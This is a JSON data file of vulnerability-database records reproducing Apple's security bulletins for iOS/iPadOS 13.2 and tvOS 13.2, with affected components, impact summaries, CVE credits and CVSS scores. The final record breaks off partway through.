{"apple": [{"lastseen": "2022-03-14T04:13:48", "description": "# About the security content of iOS 13.2 and iPadOS 13.2\n\nThis document describes the security content of iOS 13.2 and iPadOS 13.2.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## iOS 13.2 and iPadOS 13.2\n\nReleased October 28, 2019\n\n**Accounts**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8787: Steffen Klee of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\n**AirDrop**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: AirDrop transfers may be unexpectedly accepted while in Everyone mode\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2019-8796: Allison Husain of UC Berkeley\n\nEntry added April 4, 2020\n\n**App Store**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: A local attacker may be able to login to the account of a previously logged in user without valid credentials.\n\nDescription: An authentication issue was addressed with improved state management.\n\nCVE-2019-8803: Kiyeon An, \ucc28\ubbfc\uaddc (CHA Minkyu)\n\n**Associated Domains**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: Improper URL processing may lead to data exfiltration\n\nDescription: An issue existed in the parsing of URLs. This issue was addressed with improved input validation.\n\nCVE-2019-8788: Juha Lindstedt of Pakastin, Mirko Tanania, Rauli Rikama of Zero Keyboard Ltd\n\n**Audio**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8785: Ian Beer of Google Project Zero\n\nCVE-2019-8797: 08Tc3wBB working with SSD Secure Disclosure\n\n**AVEVideoEncoder**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8795: 08Tc3wBB working with SSD Secure Disclosure\n\n**Books**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: Parsing a maliciously crafted iBooks file may lead to disclosure of user information\n\nDescription: A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks.\n\nCVE-2019-8789: Gertjan Franken of imec-DistriNet, KU Leuven\n\n**Contacts**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: Processing a maliciously contact may lead to UI spoofing\n\nDescription: An inconsistent user interface issue was addressed with improved state management.\n\nCVE-2017-7152: Oliver Paukstadt of Thinking Objects GmbH (to.com)\n\n**File System Events**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8798: ABC Research s.r.o. working with Trend Micro's Zero Day Initiative\n\n**Graphics Driver**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8784: Vasiliy Vasilyev and Ilya Finogeev of Webinar, LLC\n\n**Kernel**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8794: 08Tc3wBB working with SSD Secure Disclosure\n\n**Kernel**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8786: Wen Xu of Georgia Tech, Microsoft Offensive Security Research Intern\n\nEntry updated November 18, 2019\n\n**Kernel**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption vulnerability was addressed with improved locking.\n\nCVE-2019-8829: Jann Horn of Google Project Zero\n\nEntry added November 8, 2019\n\n**Setup Assistant**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: An attacker in physical proximity may be able to force a user onto a malicious Wi-Fi network during device setup\n\nDescription: An inconsistency in Wi-Fi network configuration settings was addressed.\n\nCVE-2019-8804: Christy Philip Mathew of Zimperium, Inc\n\n**Screen Recording**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: A local user may be able to record the screen without a visible screen recording indicator\n\nDescription: A consistency issue existed in deciding when to show the screen recording indicator. The issue was resolved with improved state management.\n\nCVE-2019-8793: Ryan Jenkins of Lake Forrest Prep School\n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8813: an anonymous researcher\n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8782: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8783: Cheolung Lee of LINE+ Graylab Security Team\n\nCVE-2019-8808: found by OSS-Fuzz\n\nCVE-2019-8811: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8812: JunDong Xie of Ant-financial Light-Year Security Lab\n\nCVE-2019-8814: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8816: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8819: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8820: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8821: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8822: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8823: Sergei Glazunov of Google Project Zero\n\nEntry updated November 18, 2019\n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: Visiting a maliciously crafted website may reveal the sites a user has visited\n\nDescription: The HTTP referrer header may be used to leak browsing history. The issue was resolved by downgrading all third party referrers to their origin.\n\nCVE-2019-8827: Artur Janc, Krzysztof Kotowicz, Lukas Weichselbaum, and Roberto Clapis of Google Security Team\n\nEntry added February 6, 2020\n\n**WebKit Process Model**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8815: Apple\n\n**Wi-Fi**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: An attacker in Wi-Fi range may be able to view a small amount of network traffic\n\nDescription: A logic issue existed in the handling of state transitions. This was addressed with improved state management.\n\nCVE-2019-15126: Milos Cermak at ESET\n\nEntry added February 3, 2020\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## Additional recognition\n\n**CFNetwork**\n\nWe would like to acknowledge Lily Chen of Google for their assistance.\n\n**Kernel**\n\nWe would like to acknowledge Daniel Roethlisberger of Swisscom CSIRT, Jann Horn of Google Project Zero for their assistance.\n\nEntry updated November 8, 2019\n\n**WebKit**\n\nWe would like to acknowledge Dlive of Tencent's Xuanwu Lab and Zhiyi Zhang of Codesafe Team of Legendsec at Qi'anxin Group for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: April 05, 2020\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-10-28T00:00:00", "type": "apple", "title": "About the security content of iOS 13.2 and iPadOS 13.2", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7152", "CVE-2019-15126", "CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8784", "CVE-2019-8785", "CVE-2019-8786", "CVE-2019-8787", "CVE-2019-8788", "CVE-2019-8789", "CVE-2019-8793", "CVE-2019-8794", "CVE-2019-8795", "CVE-2019-8796", "CVE-2019-8797", "CVE-2019-8798", "CVE-2019-8803", "CVE-2019-8804", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823", "CVE-2019-8827", "CVE-2019-8829"], "modified": "2019-10-28T00:00:00", "id": "APPLE:F7CA1A5840C15D3C9444B9C7F4FBA655", "href": "https://support.apple.com/kb/HT210721", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:44:27", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## iOS 13.2 and iPadOS 13.2\n\nReleased October 28, 2019\n\n**Accounts**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8787: Steffen Klee of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\n**AirDrop**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: AirDrop transfers may be unexpectedly accepted while in Everyone mode\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2019-8796: Allison Husain of UC Berkeley\n\nEntry added April 4, 2020\n\n**App Store**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: A local attacker may be able to login to the account of a previously logged in user without valid credentials.\n\nDescription: An authentication issue was addressed with improved state management.\n\nCVE-2019-8803: Kiyeon An, \ucc28\ubbfc\uaddc (CHA Minkyu)\n\n**Associated Domains**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: Improper URL processing may lead to data exfiltration\n\nDescription: An issue existed in the parsing of URLs. This issue was addressed with improved input validation.\n\nCVE-2019-8788: Juha Lindstedt of Pakastin, Mirko Tanania, Rauli Rikama of Zero Keyboard Ltd\n\n**Audio**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8785: Ian Beer of Google Project Zero\n\nCVE-2019-8797: 08Tc3wBB working with SSD Secure Disclosure\n\n**AVEVideoEncoder**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8795: 08Tc3wBB working with SSD Secure Disclosure\n\n**Books**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: Parsing a maliciously crafted iBooks file may lead to disclosure of user information\n\nDescription: A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks.\n\nCVE-2019-8789: Gertjan Franken of imec-DistriNet, KU Leuven\n\n**Contacts**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: Processing a maliciously contact may lead to UI spoofing\n\nDescription: An inconsistent user interface issue was addressed with improved state management.\n\nCVE-2017-7152: Oliver Paukstadt of Thinking Objects GmbH (to.com)\n\n**File System Events**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8798: ABC Research s.r.o. working with Trend Micro's Zero Day Initiative\n\n**Graphics Driver**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8784: Vasiliy Vasilyev and Ilya Finogeev of Webinar, LLC\n\n**Kernel**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8794: 08Tc3wBB working with SSD Secure Disclosure\n\n**Kernel**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8786: Wen Xu of Georgia Tech, Microsoft Offensive Security Research Intern\n\nEntry updated November 18, 2019\n\n**Kernel**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption vulnerability was addressed with improved locking.\n\nCVE-2019-8829: Jann Horn of Google Project Zero\n\nEntry added November 8, 2019\n\n**Setup Assistant**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: An attacker in physical proximity may be able to force a user onto a malicious Wi-Fi network during device setup\n\nDescription: An inconsistency in Wi-Fi network configuration settings was addressed.\n\nCVE-2019-8804: Christy Philip Mathew of Zimperium, Inc\n\n**Screen Recording**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: A local user may be able to record the screen without a visible screen recording indicator\n\nDescription: A consistency issue existed in deciding when to show the screen recording indicator. The issue was resolved with improved state management.\n\nCVE-2019-8793: Ryan Jenkins of Lake Forrest Prep School\n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8813: an anonymous researcher\n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8782: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8783: Cheolung Lee of LINE+ Graylab Security Team\n\nCVE-2019-8808: found by OSS-Fuzz\n\nCVE-2019-8811: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8812: JunDong Xie of Ant-financial Light-Year Security Lab\n\nCVE-2019-8814: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8816: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8819: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8820: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8821: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8822: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8823: Sergei Glazunov of Google Project Zero\n\nEntry updated November 18, 2019\n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: Visiting a maliciously crafted website may reveal the sites a user has visited\n\nDescription: The HTTP referrer header may be used to leak browsing history. The issue was resolved by downgrading all third party referrers to their origin.\n\nCVE-2019-8827: Artur Janc, Krzysztof Kotowicz, Lukas Weichselbaum, and Roberto Clapis of Google Security Team\n\nEntry added February 6, 2020\n\n**WebKit Process Model**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8815: Apple\n\n**Wi-Fi**\n\nAvailable for: iPhone 6s and later, iPad Air 2 and later, iPad mini 4 and later, and iPod touch 7th generation\n\nImpact: An attacker in Wi-Fi range may be able to view a small amount of network traffic\n\nDescription: A logic issue existed in the handling of state transitions. This was addressed with improved state management.\n\nCVE-2019-15126: Milos Cermak at ESET\n\nEntry added February 3, 2020\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## Additional recognition\n\n**CFNetwork**\n\nWe would like to acknowledge Lily Chen of Google for their assistance.\n\n**Kernel**\n\nWe would like to acknowledge Daniel Roethlisberger of Swisscom CSIRT, Jann Horn of Google Project Zero for their assistance.\n\nEntry updated November 8, 2019\n\n**WebKit**\n\nWe would like to acknowledge Dlive of Tencent's Xuanwu Lab and Zhiyi Zhang of Codesafe Team of Legendsec at Qi'anxin Group for their assistance.\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-04-05T02:40:44", "title": "About the security content of iOS 13.2 and iPadOS 13.2 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8798", "CVE-2019-8787", "CVE-2017-7152", "CVE-2019-8788", "CVE-2019-8815", "CVE-2019-8789", "CVE-2019-8782", "CVE-2019-8822", "CVE-2019-8793", "CVE-2019-8820", "CVE-2019-8797", "CVE-2019-8808", "CVE-2019-8795", "CVE-2019-8827", "CVE-2019-8785", "CVE-2019-8821", "CVE-2019-8794", "CVE-2019-8816", "CVE-2019-8796", "CVE-2019-8819", "CVE-2019-15126", "CVE-2019-8823", "CVE-2019-8784", "CVE-2019-8813", "CVE-2019-8811", "CVE-2019-8786", "CVE-2019-8783", "CVE-2019-8803", "CVE-2019-8804", "CVE-2019-8812", "CVE-2019-8829", "CVE-2019-8814"], "modified": "2020-04-05T02:40:44", "id": "APPLE:HT210721", "href": "https://support.apple.com/kb/HT210721", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:44:45", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## tvOS 13.2\n\nReleased October 28, 2019\n\n**Accounts**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8787: Steffen Klee of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\n**App Store**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A local attacker may be able to login to the account of a previously logged in user without valid credentials.\n\nDescription: An authentication issue was addressed with improved state management.\n\nCVE-2019-8803: Kiyeon An, \ucc28\ubbfc\uaddc (CHA Minkyu)\n\n**Audio**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8785: Ian Beer of Google Project Zero\n\nCVE-2019-8797: 08Tc3wBB working with SSD Secure Disclosure\n\n**AVEVideoEncoder**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8795: 08Tc3wBB working with SSD Secure Disclosure\n\n**File System Events**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8798: ABC Research s.r.o. working with Trend Micro's Zero Day Initiative\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8794: 08Tc3wBB working with SSD Secure Disclosure\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8786: Wen Xu of Georgia Tech, Microsoft Offensive Security Research Intern\n\nEntry updated November 18, 2019\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption vulnerability was addressed with improved locking.\n\nCVE-2019-8829: Jann Horn of Google Project Zero\n\nEntry added November 8, 2019\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8813: an anonymous researcher\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8782: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8783: Cheolung Lee of LINE+ Graylab Security Team\n\nCVE-2019-8808: found by OSS-Fuzz\n\nCVE-2019-8811: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8812: JunDong Xie of Ant-financial Light-Year Security Lab\n\nCVE-2019-8814: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8816: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8819: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8820: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8821: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8822: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8823: Sergei Glazunov of Google Project Zero\n\nEntry updated November 18, 2019\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Visiting a maliciously crafted website may reveal the sites a user has visited\n\nDescription: The HTTP referrer header may be used to leak browsing history. The issue was resolved by downgrading all third party referrers to their origin.\n\nCVE-2019-8827: Artur Janc, Krzysztof Kotowicz, Lukas Weichselbaum, and Roberto Clapis of Google Security Team\n\nEntry added February 3, 2020\n\n**WebKit Process Model**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8815: Apple\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## Additional recognition\n\n**CFNetwork**\n\nWe would like to acknowledge Lily Chen of Google for their assistance.\n\n**Kernel**\n\nWe would like to acknowledge Daniel Roethlisberger of Swisscom CSIRT, Jann Horn of Google Project Zero for their assistance.\n\nEntry updated November 8, 2019\n\n**WebKit**\n\nWe would like to acknowledge Dlive of Tencent's Xuanwu Lab and Zhiyi Zhang of Codesafe Team of Legendsec at Qi'anxin Group for their assistance.\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-02-04T05:24:20", "title": "About the security content of tvOS 13.2 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8798", "CVE-2019-8787", "CVE-2019-8815", "CVE-2019-8782", "CVE-2019-8822", "CVE-2019-8820", "CVE-2019-8797", "CVE-2019-8808", "CVE-2019-8795", "CVE-2019-8827", "CVE-2019-8785", "CVE-2019-8821", "CVE-2019-8794", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8823", "CVE-2019-8813", "CVE-2019-8811", "CVE-2019-8786", "CVE-2019-8783", "CVE-2019-8803", "CVE-2019-8812", "CVE-2019-8829", "CVE-2019-8814"], "modified": "2020-02-04T05:24:20", "id": "APPLE:HT210723", "href": "https://support.apple.com/kb/HT210723", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-11T19:29:57", "description": "# About the security content of tvOS 13.2\n\nThis document describes the security content of tvOS 13.2.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## tvOS 13.2\n\nReleased October 28, 2019\n\n**Accounts**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8787: Steffen Klee of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\n**App Store**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A local 